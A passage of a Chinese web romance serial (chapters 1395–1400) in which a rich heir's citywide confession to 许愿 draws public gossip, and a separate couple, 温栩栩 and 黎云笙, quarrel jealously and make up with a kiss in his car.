盛景炎却像是抓住了什么重点,眼底瞬间亮了起来,带着几分狡黠的笑意,轻声反问:“那……只要不更夸张,就可以吗?” “你!”许愿被他这突如其来的“狡猾”气笑了,抬手轻轻捶了他一下,力道轻得像羽毛拂过,“你还敢讨价还价!” 盛景炎顺势抓住她的手腕,指尖轻轻摩挲着她手背的肌肤,眼底的笑意愈发明显,带着几分得逞的愉悦:“我就是想让你开心,想让你知道,你对我来说,比所有浪漫都重要。那些无人机、那些广告,都不过是我想告诉你‘我喜欢你’的方式。” 许愿被他抓着手腕,感受着他掌心的温度,心里像是被塞了一颗软乎乎的棉花糖,又甜又暖。她别过头,:“我才不信你呢,你就是想搞这种大场面,满足你自己的恶趣味!” “恶趣味?”盛景炎低笑出声,声音带着磁性的震动,他微微俯身,靠近她的耳边,温热的气息拂过她的耳廓,带着几分暧昧的低语,“那要是我的‘恶趣味’,只是想追求你想让你印象深刻呢?” 许愿的耳朵瞬间红得像要滴血,她猛地转头瞪他,可对上他那双盛满星光与真诚的眼眸时,所有的话都卡在了喉咙里。 她看着天空中依旧在变幻图案的无人机,听着远处广告牌里墨澜的声音,又感受着他掌心的温度,心跳好像也跟着越来越快了。 她轻轻挣了挣手腕,却没有真的用力,反而任由他握着,语气软了下来,带着几分无奈,又藏着几分藏不住的笑意:“盛景炎,你真是……疯了。” 许愿刚张了张嘴,想再追问一句“还有没有搞别的事”,话还没出口,就被街边一阵叽叽喳喳的议论声截断了。 那声音清脆又热闹,像一群麻雀落在了电线杆上,叽叽喳喳地吵个不停,每一个字都精准地钻进了她的耳朵里。 “天呐!到底谁是许愿啊?!”一个带着几分惊讶的女声率先响起。 “我想许愿我自己是许愿可以吗!”另一个声音接得飞快,带着点俏皮的调侃,又透着股莫名的期待,仿佛自己也想成为那个被全城瞩目的“许愿”。 “我们难道是世界的路人甲NPC吗!”第三个声音带着点夸张的失落,语气里满是“凭什么不是我”的不甘,让这场议论更添了几分烟火气。 “到底谁是许愿啊!”开头的那个声音又追问了一遍,语气愈发急切。 “大概天仙成什么样才把那公子哥迷成这样啊!”有人忍不住开始脑补。 许愿眼角狠抽了一下,心里像被无数只小蚂蚁爬过,又痒又慌,还带着点说不出的“社会性死亡”的尴尬。 她看着那几个议论的女生,又转头瞪了盛景炎一眼,那眼神里没有真正的生气,更多的是“你看看你干的好事”的无奈。 她心道:那是盛景炎脑子突然抽了! 他怎么就不知道,这种全城瞩目的感觉,对当事人来说,简直就是大型社死现场啊! 盛景炎被她瞪得摸了摸自己的鼻子,耳尖的红晕还没完全褪去,此刻又轻咳了一声,才笑吟吟地开口,语气里满是安抚,又带着点“我这都是为你好”的理直气壮:“应该没有其他的了,别生气了,我这不是想给你惊喜吗。” 许愿困惑:“你觉得我喜欢这种?”她指了指天空中还在变换图案的无人机,又看了看远处地铁站广告牌上滚动的墨澜告白视频,声音里满是不解。 她明明不是那种喜欢张扬的人,怎么盛景炎就笃定她会喜欢这种“全城围观”的浪漫? 盛景炎却毫不犹豫地点头,直截了当,眼神里满是认真:“喜欢啊,谁不喜欢被全世界瞩目呢?而且,这是我想给你的浪漫。”他笃定的语气,让许愿更是哭笑不得。 “?”许愿忍不住发出一声短促的疑问,眼眸里满是无语,语气里带着点“你是不是没搞清楚状况”的无奈,“你到底是对我有什么误解?如果我这样,让你被全城人围观,你会高兴吗?”她反问回去,想让盛景炎明白,这种“浪漫”对她来说,更像是“灾难”。 盛景炎却像是没听懂她的潜台词,反而眼睛一亮,带着几分狡黠的笑意,凑近了些,压低声音问:“还有这种好事?你要跟我告白?”他语气里满是期待,仿佛已经看到了许愿在全城目光下向他表白的场景,连带着唇角都忍不住上扬。 “??”许愿彻底无语了,看着他那副“自以为很懂我”的模样,心里像被塞了一团乱麻,不知道该说什么了。 她觉得自己的脑子都有点转不过来了,明明是自己在抱怨,怎么就成了他期待的“告白”了? 第1395章 盛景炎,你真的……太夸张了 结果,就在这时,街边那几个女生的议论声又响了起来,而且比刚才更热烈了,像是这场“全城告白”成了她们茶余饭后的最佳谈资。 “到底是谁啊!请得起墨澜来帮他告白的啊!”一个女生的声音满是惊叹,语气里透着股“这得花多少钱啊”的震撼,“四舍五入这简直就是墨澜向我告白!许愿到底是谁啊!” 她越说越激动,仿佛自己也沾了点墨澜告白的光,语气里满是羡慕与向往。 “反正全国人知不知道许愿我不知道,墨澜粉丝是肯定全都知道了!”另一个女生接话,语气笃定,“墨澜的影响力多高啊,海外的粉丝都沸腾了,全都在追问许愿到底是谁?到底是谁家富豪请得起墨澜为他公开示爱许愿的!” 她一边说,一边还拿出手机,像是要翻给同伴看墨澜粉丝的讨论,语气里满是八卦的兴奋,“许愿到底是谁啊!那人只能是又有金钱又有地位,说不定还跟墨澜认识,否则墨澜不可能接这种可笑的广告!” 她强调着“可笑的广告”,却丝毫没影响自己对“许愿”身份的好奇,在她眼里,能请动墨澜的人,绝对是非富即贵。 旁边又有一个女生忍不住道,语气带着点“我发现了真相”的得意:“有没有可能墨澜纯粹就是喜欢看热闹?毕竟墨澜影帝是看到路边两只狸花猫打架都要停下来录一段视频的人,他看热闹那再正常不过了。” 她越说越觉得有道理,语气愈发肯定,“你们想想,墨澜平日里喜欢看两只鹦鹉吵架,乌鸦戏水,猫咪打架,狗狗摇尾巴,可现在变成了看某些人的乐子,就让人觉得这人身份绝对不正常,能让墨澜都愿意停下来看热闹的,那绝对是认识啊!跟墨澜认识那妥妥的就是豪门!” “对啊!所以到底谁是许愿啊!”有人附和着,语气愈发急切,像是要把这个谜题彻底解开。 “对啊,到底谁是许愿啊!”其他人也跟着追问,声音此起彼伏,全城的目光仿佛都聚焦在“许愿”这两个字上,而真正的“许愿”就站在不远处,听着这些议论,只觉得头皮发麻。 许愿眼皮子直跳,像是有无数只小虫子在眼皮底下爬,让她忍不住又狠狠瞪了盛景炎一眼,那眼神里满是“都怪你”的控诉。 许愿不感动,许愿想踹人。 她觉得自己的脸都快烧起来了。 盛景炎被她瞪得摸了摸鼻子,脸上却没有丝毫愧疚,反而笑吟吟地看着那几个议论的女生,语气里满是“你看,大家都羡慕你”的得意:“你看,她们都羡慕你。” “我都想踹你了!”许愿忍不住低声道,声音里满是无奈与无语,她看着盛景炎那副“我就是故意的,你能拿我怎么办”的模样,既气又笑,抬脚作势要踹他,却没真的用力。 盛景炎看着她气鼓鼓的模样,忍不住笑出了声,眼底满是温柔的笑意。 他伸手轻轻握住她的手腕,指尖轻轻摩挲着她的肌肤,语气轻柔又带着点安抚:“别生气了,阿愿。我只是想让全世界都知道,我喜欢你,想和你在一起。” 他望着她泛红的眼尾,又补充道,“而且,墨澜接这个广告,也不全是因为热闹。我跟他说了,这是我想给你的告白,他觉得挺有意思的,就接了。至于那些议论,就让他们说吧,反正你是我许愿,是我的阿愿,这就够了。” 许愿听着他的低语,看着他眼底的认真,心里的无语慢慢淡了些,取而代之的是一丝暖意。 她知道,盛景炎只是想用他觉得最好的方式来表达爱意,只是方式太“盛景炎”了。 盛大、张扬,又带着点不计后果的浪漫。 她叹了口气,语气软了下来,却还是忍不住吐槽:“可是现在全城人都在找许愿,连墨澜粉丝都牵扯进来了,这……这也太夸张了。” “夸张吗?”盛景炎偏了偏头,眼底带着点“我觉得还好”的疑惑,语气却带着点撒娇的意味,“我觉得刚刚好啊,刚好能让大家都知道你的名字。”他顿了顿,又补充道,“而且,你不觉得,这样很浪漫吗?以后我们再回忆起来,这场告白,可是全城人都见证过的。” 许愿看着他那副“浪漫至上”的模样,无奈地摇了摇头,嘴角却忍不住上扬。 她知道,盛景炎就是这样的人,一旦认定了一件事,就会用尽全力去做,哪怕方式有点“出格”。 她轻轻挣了挣手腕,却没有挣脱他的手,反而任由他握着:“浪漫是浪漫,就是有点太社死了。以后可不能再搞这种了,不然我真的要躲起来了。” “好,听你的,不搞了。”盛景炎立刻应道,眼底满是笑意,像是得到了什么珍贵的承诺。他看着她泛红的眼尾,又忍不住凑近了些,温热的气息拂过她的耳廓,“那现在,我的阿愿,能不能给我一个回应?比如……说一句‘我也喜欢你’?” 许愿听着他的低语,感受着他掌心的温度,又看了看天空中依旧璀璨的无人机,听着街边女生们依旧热烈的议论,心里的无语慢慢化作了浓浓的甜蜜。 她深吸一口气,推了他一把:“盛景炎,你真的……太夸张了。走开一点。” 盛景炎眼底的笑意瞬间炸开,对,被推了还笑的这么开心,除了盛景炎也没别人了。 街边的议论声还在继续,无人机还在变换着图案,墨澜的告白视频还在滚动播放,全城的目光依旧聚焦在“许愿”这个名字上。 而许愿站在盛景炎身边,感受着他掌心的温度,听着他的心跳,心里的无语慢慢淡去,甚至觉得好像真的有点意思,这一刻真是完全被盛景炎荼毒了。 盛景炎这场告白许愿的阵仗,堪称近期圈子里最轰动的浪漫事件,规模之大、声势之广,几乎让全城都成了这场浪漫的见证者。 温栩栩人还坐在黎云笙的车里,车窗半开,晚风带着城市夜晚的喧嚣涌入,却瞬间被外面大屏上滚动的告白话语压了下去。 第1396章 墨焱为许愿拍摄的告白广告 抬头望去,几块巨大的户外电子屏上,全都是盛景炎为许愿定制的告白内容。 从“许愿,遇见你的那天,我的世界开始有了光”,到“想和你一起看遍四季,共度余生”,每一段文字都配着许愿温柔的侧影,或是两人曾一起出现过的场景,暖黄的灯光映在屏幕上,将这份浪漫渲染得格外浓烈,引得路边行人纷纷驻足拍照,议论声此起彼伏。 温栩栩指尖还捏着手机,目光却牢牢锁在大屏上,瞳孔骤然收缩。 她对“许愿”这个名字并不陌生,圈子里同名的人或许有,但她认识的、且能让盛景炎如此大费周章告白的,只此一个。 更让她惊讶的是墨澜拍广告的事。 她之前完全没得到半点风声,墨澜作为圈内知名的广告品牌,能接下这种明显带着个人告白性质的广告,足以证明告白者的身份不简单,而最近圈子里跟许愿走得近、又能让墨澜破例的,除了盛景炎,再无他人。 “所以,是盛景炎在追许愿啊。”温栩栩低声呢喃,语气里带着几分了然,又夹杂着一丝对这场“大动作”的错愕。 她跟许愿的交集不算多,没有从小一起长大的深厚情谊,却有一种奇妙的默契,两人每次见面都能聊得投机,从喜欢的书到对圈子里某些事的看法,总有说不完的话题,算是“相见恨晚”的知音。 此刻看着大屏上那满溢的浪漫,她心里更多是好奇,而非嫉妒,于是指尖快速按动,拨通了许愿的电话。 电话很快被接通,那头传来许愿带着几分无奈的声音,还夹杂着些许不易察觉的羞赧:“栩栩,你看到了?” “何止是看到,我现在坐在车里,外面全是大屏告白,想不看到都难。” 温栩栩忍不住笑出声,语气里满是调侃,“说吧,怎么回事?盛景炎这是玩哪一出?” 许愿轻叹一口气,声音软了下来:“他啊,就是喜欢这种浪漫的调调吧,总说要给我留下特别的回忆。” “浪漫?”温栩栩挑眉,语气瞬间变得夸张,甚至带了点“社死现场”的吐槽感,“许愿,你清醒一点!这哪里是浪漫,这是公开处刑好吗?整个城市都在围观你的私事,万一你不想接受呢?那得多尴尬,多社死啊!” 那头的许愿似乎顿了一下,随即传来一声轻咳,像是在掩饰笑意,又像是在维护盛景炎:“我……其实还挺喜欢的。” “哦——”温栩栩拖长了语调,语气里的调侃更浓了,故意打趣道,“刚才还说无奈呢,这会儿就‘挺喜欢的’了?这么快就变卦,看来盛景炎这招还挺管用,知道维护了?” “哪有,”许愿的声音带着点不好意思,却依旧坚持,“就是觉得他用心了,挺好的。” 温栩栩啧了一声,语气里满是“过来人”的劝诫,带着点护短的意味:“行吧,你开心就好。不过我还是要提醒你一句,盛景炎那家伙,可是圈子里出了名的‘死渣男’,你可别被他这表面的浪漫骗了,别到时候动了心,最后受伤的是自己。” 电话那头突然陷入一片短暂的沉默,紧接着,盛景炎的声音直接传了过来,带着点无奈的笑意:“温栩栩,我听得到。” 温栩栩丝毫没有被“抓包”的尴尬,反而理直气壮地回怼:“听得到怎么了?臭渣男就是臭渣男,难道你还想让我夸你啊?” 盛景炎似乎被她的直白逗笑了,语气里带着点无奈的妥协:“温栩栩,我渣不渣,你说了不算,许愿说了才算。” 许愿也笑着开口,语气里带着点维护,又有点“帮腔”的意味:“栩栩,他不渣。” “不渣?”温栩栩语气夸张地反问,像是听到了什么天大的笑话,“许愿,你清醒一点!” 许愿却依旧坚持:“恋爱脑的是盛景炎,他就是想把最好的给我。” 温栩栩听着两人的互动,只觉得脑袋发胀,忍不住扶额:“你们俩……行吧,我算是看明白了,你们俩都有病吧,明摆着就是在秀恩爱,故意气我是不是?” 那头的盛景炎和许愿同时笑了起来,盛景炎语气轻松地说:“怎么会,就是想让大家都见证我们的开始而已。” 温栩栩无奈地叹了一口气,知道再劝也没用,干脆摆了摆手:“行吧行吧,祝99,祝你们长长久久,白头偕老,行了吧?我还能说什么,只能祝福你们了。” 挂了电话,温栩栩靠在车窗上,看着外面依旧亮着的告白大屏,忍不住摇头轻笑。 黎云笙侧头看向温栩栩,眉梢微挑,语气里带着几分对盛景炎这场“大手笔”的客观评价:“盛景炎这次,倒是挺有诚意的。” “诚意?”温栩栩闻言立刻撇了撇嘴,眉头拧成一团,语气里满是不认同,甚至带着点“圈内人看圈内事”的犀利吐槽,“你们男人的审美都这么奇葩古怪的吗?哪里有诚意了,这操作简直离谱!满大街的屏幕滚动播放,这哪是告白,这是公开处刑,很容易社会性死亡的好吧!”她一边说着,还一边比划了两下,仿佛在还原大屏上那铺天盖地的告白画面,“就是这方式,太夸张了,我都替许愿觉得社死,万一她当时在逛街,到处都能听到盛景炎的肉麻情话,那得多尴尬!” 两人正说着,黎云笙那辆价值上千万的黑色豪车,车内原本播放着舒缓的轻音乐,突然毫无征兆地切换了频道。 前一秒还是钢琴曲,下一秒,一个辨识度极高的男声便带着刻意的温柔与深情,清晰地从车内环绕的顶级音响里流淌出来, 正是墨焱为许愿拍摄的告白广告。 那声音字正腔圆,每一句情话都裹着甜蜜的糖衣,从“初见的心动”到“相处的细节”,再到“未来的期许”,句句肉麻,句句直白,毫无保留地将盛景炎对许愿的爱意铺陈开来,像一场突如其来的甜蜜暴击,毫无防备地砸在车厢内的两人身上。 第1397章 说不定又是在装呢 黎云笙:“……” 温栩栩:“……” 车厢内的空气瞬间凝固了。 原本还满脸吐槽的温栩栩,此刻瞪大了眼睛,嘴巴微张,像是被按了暂停键,目光呆滞地盯着前方的音响出声口,仿佛不敢相信自己的耳朵。 她猛地转头看向黎云笙,眼神里满是难以置信,声音都拔高了几个度,带着明显的错愕与怀疑:“这也行?!黎云笙,这到底怎么回事?不是说这种告白广告只会在出租车、网约车上循环播放吗?方便路人围观,制造‘全城见证’的效果啊!我没看错吧,你的车是私家车吧?还是上千万的限量版豪车!谁会把这种广告塞到这种车里啊?!” 她一边说,一边伸手用力戳了戳中控台,像是想确认这到底是不是真实的。 毕竟在一辆价值不菲的私家豪车里,突然听到满是情话的告白广告,这种反差感简直太荒诞了。车外是城市夜晚的霓虹,车内是铺天盖地的浪漫情话,这氛围瞬间从“吐槽现场”变成了“社死尴尬现场”,连带着温栩栩刚才对盛景炎的吐槽,都显得有点“打脸”。 黎云笙看着她这副震惊到失态的模样,忍不住勾了勾嘴角,眼里闪过一丝无奈的笑意,顿了顿,才慢悠悠地解释道:“一个月之前,有个助理……开着我的车出去,把车租出去了。” “租出去了?”温栩栩的声音再次拔高,这次是纯粹的震惊,她甚至坐直了身体,双手撑在座椅上,像是要从黎云笙嘴里挖出更多细节,“你的车?你这辆全城都没几辆的限量版?他怎么敢的?!而且他还租出去干什么?” “具体做什么我也不清楚,”黎云笙语气平静,却带着点“被气笑”的无奈,“好像是打着我的名号,经常开着我的车出去招摇撞骗,有时候会冒充是我的司机,去接一些圈子里的人,有时候……还会开着我的车跑网约车。” “什么?!”温栩栩这次是真的惊到了,她瞪大了眼睛,手指都忍不住颤抖了一下,“他开着你的车去跑网约车?!” 她越说越觉得离谱,甚至忍不住扶了扶额,语气里满是“为黎云笙不值”的愤怒:“开着你的车去接人,别人以为是你的司机,结果他冒充你,这要是出了什么事,责任算谁的?” 黎云笙看着她这副“比自己还激动”的样子,眼底的笑意更浓了,伸手轻轻拍了拍她的手背,安抚道:“别激动,我已经处理过了。那个助理已经被辞退了,相关的责任也追究了。只是这车之前被他租出去跑网约车的时候,系统里被塞进了一些广告,包括这个墨焱的告白广告,可能是当时网约车平台的推广内容,所以才会到现在还在循环播放。” “原来是这样……”温栩栩听着解释,忍不住吐槽,“这也太离谱了!一个助理,居然敢背着你做这么多事,还把你的车当成网约车来用,这胆子也太大了!不过话说回来,盛景炎这场告白也是,连网约车平台的广告都能利用上,也算是‘全城覆盖’到极致了,也不知道许愿知道不知道,自己男朋友的告白,居然会出现在黎云笙的私家车里,这缘分也太奇妙了,简直离谱又搞笑。” 她一边说着,一边又忍不住看向音响出声口,听着里面还在继续的肉麻情话,忍不住翻了个白眼:“不过这广告内容也太肉麻了吧,‘阳光落在发梢像碎金’,盛景炎平时看着挺冷的一个人,居然能说出这种话,真是人不可貌相。许愿要是听到这个,估计得脸红到耳朵根吧。” 黎云笙听着她的吐槽,嘴角始终带着淡淡的笑意,目光落在前方的道路上,语气轻松:“或许吧。不过现在这广告还在播放,要不要我让技术部远程处理一下,关掉?” 温栩栩摆了摆手,嘴角勾起一抹促狭的笑意:“别啊,难得有这种‘意外惊喜’,关掉多可惜。咱们就当听个乐子,看看盛景炎到底能‘肉麻’到什么程度。说不定等下还能听到更夸张的,到时候我录下来,等见到许愿的时候,放给她听,看她怎么反应。” 黎云笙失笑,点头应道:“好,听你的。” 于是,车厢内再次被墨焱的告白广告填满。 温栩栩靠在座椅上,双手抱胸,一副“看热闹不嫌事大”的模样,时不时还跟着广告里的情话吐槽几句:“这句‘想和你一起看遍四季’也太老套了吧,盛景炎能不能有点新意?” “哇哦,‘共度余生’,好隆重哦,许愿听了肯定感动得要哭了吧?” 其实温栩栩打心底里觉得盛景炎不靠谱,这份不信任并非空穴来风,而是源于对盛景炎过往的清晰认知。 这人曾经可是圈子里出了名的“海王”,身边莺莺燕燕不断,换女友的速度比换季时装还快,每一段关系都像盛夏的烟火,绚烂一瞬便迅速熄灭,从不留任何痕迹。 那些关于他“逢场作戏”“只图新鲜”的传闻,温栩栩听过不少,有的是圈内朋友私下里的吐槽,有的是酒局上旁人不经意的提及,桩桩件件都让她对“盛景炎的真心”打了个大大的问号。 此刻听着墨焱广告里那句“想和你一起看遍四季,共度余生”,温栩栩指尖忍不住在座椅上轻轻敲了敲,心里满是怀疑:“盛景炎现在说什么喜欢许愿,说不定又是在装呢。” 她太了解这类人了,擅长用极致的浪漫包装自己,用铺天盖地的仪式感制造“独一无二”的假象,可内里究竟有几分真心,只有他自己知道。 在温栩栩看来,这场大屏告白、豪车广告的“全城浪漫”,或许只是盛景炎惯用的手段,用来快速攻陷对方的心防,可这份“热烈”能持续多久?等新鲜感褪去,许愿会不会也像他之前的那些“过客”一样,被轻易抛在身后? 第1398章 比起我,你好像更喜欢许愿 她忍不住想起上次和许愿见面时的场景,许愿提到盛景炎时,眼底藏着的那抹温柔笑意是藏不住的,那是真心喜欢一个人时才会有的光。温栩栩当时虽没多说,却在心里悄悄叹气。 许愿太干净,太认真,而盛景炎却像一片深不见底的海,谁也不知道下一秒会不会掀起风浪。 她怕许愿陷得太深,最后受伤的只有自己。 可即便心里满是担忧,温栩栩也没打算当那个“恶人”,去戳破许愿的期待,去给这份刚刚萌芽的感情泼冷水。 原因很简单,许愿喜欢。 这份喜欢,是许愿自己的选择,温栩栩深知,感情里的事,旁人终究是外人,再好的朋友也无法替对方做决定,也无法用自己的“预判”去否定对方的感受。 就像当初她自己做选择时,也听过旁人的劝告,可最终还是跟着自己的心走了。 哪怕知道可能会有风险,但那是属于自己的路。 “算了,”温栩栩在心里默默叹了口气,脸上重新扬起轻松的调侃表情,转头看向黎云笙时,语气里只剩玩笑,“不管盛景炎以前什么样,现在既然许愿喜欢,那我也不当这个恶人。” 黎云笙看着温栩栩眼底一闪而过的担忧,又见她很快调整好情绪,恢复了调侃的模样,心里便明白了她的想法,开口有些无奈:“你好像一直很在乎许愿,温栩栩,你们很熟吗。” 黎云笙说,“比起我,你好像更喜欢许愿。” 栩栩明显是完全没想到黎云笙会突然抛出那样一句。 “比起我,你好像更喜欢许愿”。 她指尖还停留在中控台的按钮上,闻言猛地一顿,整个人像是被按了暂停键,连呼吸都下意识轻了几分。 她侧过头,目光落在黎云笙的侧脸上,对方正专注地看着前方的道路,轮廓线条在车窗外流动的霓虹里显得格外清晰,可那句突兀又带着点莫名醋意的话,却像一颗小石子,瞬间砸乱了她刚才轻松调侃的心绪。 “哈?”温栩栩喉中差点就溢出这声满是错愕的气音,幸好及时咬住了舌尖,才没让这失态的声音真的发出来。 她眨了眨眼,心里满是疑惑。 这都什么稀奇古怪的问题啊!黎云笙到底是为什么能问出这种话的?熟不熟的他心里不清楚吗? 当初两人不过是在华庭的一场慈善晚宴上见过一面,连寒暄都算不上几句,之后也只是因为工作有过几次交集,什么时候熟到能这样“比较”了? 这句话差点就从她耳边脱口而出,带着点没好气的质问。 可她还没来得及开口,身旁的黎云笙就又补了一句,语气里那股若有若无的醋意更浓了,像浸了蜜的丝线,轻轻缠在话语里:“你好像很喜欢许愿。” 温栩栩心道那当然啊,许愿那么好看,眉眼间带着温温柔柔的灵气,笑起来时眼尾会轻轻弯起,像盛着一汪春水,谁会不喜欢长得漂亮的人?喜欢许愿那不是再正常不过的事情的吗?而且女孩子就是会很喜欢漂亮的女孩子啊! 她甚至忍不住想笑,觉得黎云笙这醋吃得毫无道理,明明是两个完全不同维度的事,怎么能混为一谈? 她刚想开口反驳,黎云笙却像是能预判她的想法似的,又抛出了那句让她彻底愣住的话:“比起我,你好像更喜欢许愿。” 这已经是黎云笙第三次说这句话了,他是真的很在意这一点了。 “什么?!”温栩栩的眼睛瞬间瞪得溜圆,像是听到了什么天大的笑话,直直地望着黎云笙,语气里满是难以置信。 这家伙到底在想什么?她甚至忍不住坐直了身体,身体微微倾向他,像是要确认他是不是在开玩笑,“黎云笙,你疯了吗?你拿许愿作比较?” 黎云笙原本只是想试探一下,看温栩栩在心里到底怎么排他和许愿的位置,毕竟刚才她提起许愿时,眼底那股护短的光,还有毫不掩饰的调侃,都让他心里泛起了一点酸意。 可没想到,温栩栩的反应比他预想的还要激烈,那副“你怎么能这样比”的震惊模样,让他心里的醋意瞬间翻涌起来。 他本以为,在温栩栩心中,自己至少是比许愿这个“好朋友”更重要的存在,可现在看来,好像并不是这样。 “你疯了吗?你拿许愿作比较?”温栩栩还在重复着这句话,语气里满是无奈,她是真的觉得黎云笙这问题问得毫无逻辑,许愿是她珍视的朋友,而黎云笙是她的“爱人”起码在她心里可以算做暂时是爱人,两个人根本就没有可比性,怎么能这样硬生生地放在一起比谁更重要? 黎云笙看着她这副理直气壮又满是震惊的模样,心里的醋意和委屈彻底冒了上来,那股平日里冷冽的气质瞬间被打破,眼底染上了一丝淡淡的愠怒。 他本想板起脸,可看着温栩栩那张带着错愕的漂亮脸蛋,又忍不住想逗她,想让她知道,自己心里到底有多在意她的“比较”。 “当然是许愿最重要啊!”温栩栩根本没察觉到黎云笙的情绪变化,理所当然地说出这句话,语气里满是坦荡。 在她心里,朋友和爱人本就分得很清楚,可朋友的陪伴、彼此之间的珍视,是她非常看重的,尤其是在这个复杂的环境里,能遇到许愿这样真诚的朋友,更是难得,所以“最重要”这三个字,在她看来,用来形容对许愿的珍视,再合适不过了。 “……”黎云笙彻底没忍住,眼底的愠怒瞬间化作了一抹无奈又带着点委屈的笑意,可这笑意却没达到眼底,反而让他的眼神看起来更危险了。 他实在没忍住,伸手捏住了温栩栩颊边的软肉,指尖轻轻用力,将那片细腻的肌肤捏得微微鼓了起来,像只被捏住脸颊的小兔子,带着点无辜又可爱的模样。 温栩栩被他这突如其来的动作弄得“哼”了一声,脸颊被捏得变形,说话都有点含糊不清:“你干嘛?松开!” 第1399章 难道不该是爱人更重要吗 黎云笙却没听她的,反而将车缓缓停在了路边的临时停车位上,车身稳稳停住后,他转过身,身体微微前倾,凑到了温栩栩的面前。 他虽然在笑,可那笑容却带着点冷冽的意味,眼神直直地锁住她,让人丝毫感觉不到开心,反而有种被惹恼后的压迫感。 “我很生气”的情绪,清晰地写在他的眉眼间,连带着周围的空气都仿佛凝滞了几分。 黎云笙确实是在生气。 他把温栩栩当爱人,放在心尖上疼,可她却轻飘飘地说出“许愿最重要”,在他看来,这简直像是在质疑他对她的意义。 爱人和朋友,难道不该是爱人更重要吗? 温栩栩确认为许愿比他更重要?像话吗? 他心里的那股酸意和委屈,瞬间变成了淡淡的怒意,让他忍不住想“惩罚”她。 温栩栩的颊边肉被捏得鼓鼓的,她不满地哼唧着,伸手想去扒拉他的手:“黎云笙,你别闹了,快松开,好疼!” 可黎云笙却没松手,反而用另一只手扣住了她的后颈,力道不重,却带着不容挣脱的强势。 他低头,唇几乎要贴上她的唇,呼吸交织在一起,带着彼此熟悉的气息。 他的声音低沉又带着点沙哑,像浸了冰的丝绸,缓缓滑过温栩栩的耳膜:“温栩栩,你今天真的很喜欢招惹我。” 他的语气很轻,可每一个字都带着重量,像小锤子,轻轻敲在温栩栩的心上。 她看着他眼底那抹淡淡的怒意,心里莫名地有点发虚,刚才的理直气壮瞬间消散了不少,可嘴上还是忍不住小声嘟囔:“我哪有招惹你……” “没有?”黎云笙挑眉,眼底的怒意更浓了,他凑得更近,鼻尖几乎要碰到她的鼻尖,呼吸间全是她身上淡淡的栀子花香,可心里的那股委屈却没消散,“先是跟我告别说在剧组拍戏,下一秒就出现在拍卖会现场,甚至还穿着其它男人送你的礼服,温栩栩,你就这么喜欢惹我生气吗?” 他一字一句地说着,每一个字都带着质问,可语气里那股淡淡的怒意,甚至温栩栩觉得自己真的感觉到黎云笙此刻是在魏旭的。 真要命啊。 “我……我不是故意要瞒你的,”温栩栩的声音软了下来,眼底多了几分歉意,可还是忍不住小声辩解,“我是怕你担心,而且墨澜送礼服也只是为了应急,我……” “应急?”黎云笙打断她,眼底的怒意更浓了,他扣着她后颈的手微微收紧,力道带着点惩戒的意味,“温栩栩,别人送的礼服,你就这么轻易地穿?你知不知道,我看到你穿着别的男人送的衣服,站在拍卖会的灯光下时,会不舒服?” 他看着她眼底的歉意,心里的怒意稍微缓了缓,可那股醋意却没消散。 他低头,唇轻轻落在她的唇上,没有立刻深入,而是带着点淡淡的怒意,轻轻碾磨着,像是一种惩戒,带着属于他的气息,要将她身上沾染的、不属于他的味道,都一点点驱散。 温栩栩被他这突如其来的吻弄得浑身一僵,脸颊还被捏着,唇上是带着怒意的碾磨,既有点疼,又带着点奇异的酥麻感。 她能清晰地感受到他唇上的温度,还有那股淡淡的、属于黎云笙的独特气息,可心里却满是委屈和无奈。 她真的只是应急啊,怎么黎云笙就这么生气? 而且!明明就是墨澜邀请她参加的拍卖会,总不能说她来帮墨澜的忙,最后礼服还要自己准备的,那不行。 可温栩栩都还没来得及说话,就这么被黎云笙强硬的吻住了。 真可恶,可是也真的很喜欢。 温栩栩觉得自己多少有点毛病,甚至有点喜欢看黎云笙生气的样子,有点带感哎。 黎云笙的吻带着点惩戒的意味,他没有急着深入,而是用唇轻轻摩擦着她的唇瓣,从上唇到下唇,细细地碾磨,像是在惩罚她的“隐瞒”,又像是在确认她的存在。 他的指尖依旧捏着她的颊边肉,力道没松,另一只手扣着她的后颈,让她无法躲避,只能被动地承受着这个带着怒意的吻。 温栩栩能感受到他唇上的力道,还有那股淡淡的怒意,她都觉得黎云笙在咬她了。 温栩栩心里委屈得不行,眼眶微微泛红,小声哼唧着:“疼……黎云笙,你轻点……” 可黎云笙却没听她的,反而加深了这个吻。他的舌尖轻轻撬开她的唇瓣,探入她的口中,带着点强势,又带着点委屈,与她的舌尖缠绕在一起。 这个吻不再只是碾磨,而是带着淡淡的怒意与浓浓的占有欲,像一场突如其来的暴风雨,瞬间席卷了温栩栩的所有思绪。 他的吻带着点淡淡的薄荷味,与他身上的冷冽气息交织在一起,可温栩栩却能清晰地感受到他心里的那股醋意和委屈,他不是真的要伤害她,而是因为太在意她,太在意她在心里的位置,才会这样失控。 温栩栩渐渐软了下来,不再挣扎,反而伸手轻轻抱住了他的腰。 她能感受到他唇上的温度,还有那股淡淡的怒意里藏着的在意,心里的委屈也慢慢消散,只剩下满心的无奈和一点点的心疼。 她知道,黎云笙是真的在意她,才会这么生气。 黎云笙感受到她的回应,扣着她后颈的手微微放松了些,指尖轻轻摩挲着她颈后的肌肤,带着点安抚的意味。 他的吻渐渐变得温柔,不再是之前的强势和惩戒,而是带着点委屈的缠绵,他怕她真的觉得许愿比他重要,怕她在感情里没有分清主次,怕她会因为朋友而忽略他。 温栩栩轻轻回应着他,舌尖与他的缠绕在一起,能感受到他唇上那股怒意渐渐消散,取而代之的是浓浓的爱意,像一层温热的纱,将两人包裹在一起。 车窗外,霓虹依旧闪烁,可车厢内却仿佛成了一个独立的世界,只剩下彼此的呼吸声,还有唇齿间缠绕的温度。 第1400章 这个人,真的是亲亲狂魔吧 黎云笙的吻渐渐变得轻柔,带着点安抚的意味,指尖轻轻松开了她颊边的软肉,转而轻轻抚摸着她的脸颊,像是在安抚一只受惊的小猫。 温栩栩伸手轻轻环住他的脖子,将脸埋在他的颈间,感受着他颈间的温度,小声嘟囔着:“我错了嘛……我不是故意要瞒你的,以后不会了……” 黎云笙低头,唇轻轻落在她的发顶,带着点无奈又带着点宠溺:“以后不准再这样了,不管什么事,都要跟我说,知道吗?” “知道了……”温栩栩的声音闷闷的,带着点撒娇的意味,她抬起头,眼底带着点委屈,又带着点笑意,“那你还生不生气了?” 黎云笙看着她这副模样,心里的怒意早就烟消云散,只剩下满心的柔软。 他伸手轻轻刮了刮她的鼻尖,眼底满是宠溺:“还敢问我生不生气?刚才不是还理直气壮地说‘许愿最重要’吗?” 